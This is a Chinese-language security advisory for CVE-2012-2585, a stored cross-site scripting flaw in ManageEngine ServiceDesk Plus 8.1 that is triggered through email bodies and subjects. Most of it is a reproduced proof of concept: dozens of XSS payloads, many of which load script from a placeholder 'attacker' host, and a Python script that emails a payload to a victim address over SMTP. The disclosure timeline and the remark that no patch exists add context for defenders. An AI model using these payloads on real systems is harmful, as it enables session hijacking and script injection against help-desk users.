ManageEngine Service Desk Plus电子邮件体脚本插入漏洞

发布日期:2012-08-09
更新日期:2012-08-12

受影响系统:
ManageEngine ServiceDesk Plus 8.x
描述:
--------------------------------------------------------------------------------
CVE ID: CVE-2012-2585

ManageEngine Service Desk Plus是可定制的帮助桌面软件。

ManageEngine Service Desk Plus 8.1及其他版本没有正确过滤邮件体即用在请求中,可被利用插入任意HTML和脚本代码,被查看后即在受影响站点的用户浏览器会话中执行。

<*来源:loneferret
 
  链接:
       
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

loneferret ()提供了如下测试方法:


#!/usr/bin/python

'''
Author: loneferret of Offensive Security
Product: ManageEngine Service Desk Plus (Windows standard)
Version: 8.1
Vendor Site:
Software Download:

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
27 Jul 2012: Vendor requested additional information
30 Jul 2012: Additional proofs of concept provided to vendor
03 Aug 2012: Vendor acknowledged receipt of PoC and declares intent to fix
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9


Injection Point: Body
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
2: <SCRIPT>alert('XSS')</SCRIPT>
3: <SCRIPT SRC=https://attacker/xss.js></SCRIPT>
4: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
5: exp/*<XSS>
6: <IMG>
7: <XSS>
8: <SCRIPT SRC="https://attacker/xss.jpg"></SCRIPT>
9: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
10: <SCRIPT/XSS SRC="https://attacker/xss.js"></SCRIPT>
11: <SCRIPT SRC=https://attacker/.j>
12: <<SCRIPT>alert("XSS");//<</SCRIPT>
13: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
14: <SCRIPT a=">" SRC="https://attacker/xss.js"></SCRIPT>
15: <SCRIPT ="blah" SRC="https://attacker/xss.js"></SCRIPT>
16: <SCRIPT a="blah" '' SRC="https://attacker/xss.js"></SCRIPT>
17: <SCRIPT "a='>'" SRC="https://attacker/xss.js"></SCRIPT>
18: <SCRIPT a=`>` SRC="https://attacker/xss.js"></SCRIPT>
19: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="https://attacker/xss.js"></SCRIPT>
20: <SCRIPT a=">'>" SRC="https://attacker/xss.js"></SCRIPT>

Injection Point: Subject
Injection Payload(s):
1: <SCRIPT>alert('XSS')</SCRIPT>
2: <SCRIPT SRC=https://attacker/xss.js></SCRIPT>
3: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
4: <DIV>
5: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
6: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
7: <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
8: <IMG>
9: <XSS>
10: <SCRIPT SRC="https://attacker/xss.jpg"></SCRIPT>
11: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
12: <SCRIPT/XSS SRC="https://attacker/xss.js"></SCRIPT>
13: <SCRIPT SRC=https://attacker/xss.js
14: <SCRIPT SRC=https://attacker/.j>
15: <IFRAME SRC=https://attacker/scriptlet.html <
16: <<SCRIPT>alert("XSS");//<</SCRIPT>
17: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
18: <SCRIPT a=">" SRC="https://attacker/xss.js"></SCRIPT>
19: <SCRIPT ="blah" SRC="https://attacker/xss.js"></SCRIPT>
20: <SCRIPT a="blah" '' SRC="https://attacker/xss.js"></SCRIPT>
21: <SCRIPT "a='>'" SRC="https://attacker/xss.js"></SCRIPT>
22: <SCRIPT a=`>` SRC="https://attacker/xss.js"></SCRIPT>
23: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="https://attacker/xss.js"></SCRIPT>
24: <SCRIPT a=">'>" SRC="https://attacker/xss.js"></SCRIPT>

'''

import smtplib, urllib2

payload = """</TITLE><SCRIPT>alert("XSS");</SCRIPT>"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS" + payload + "\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS.\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()

username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)

建议:
--------------------------------------------------------------------------------
厂商补丁:

ManageEngine
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wypwwz.html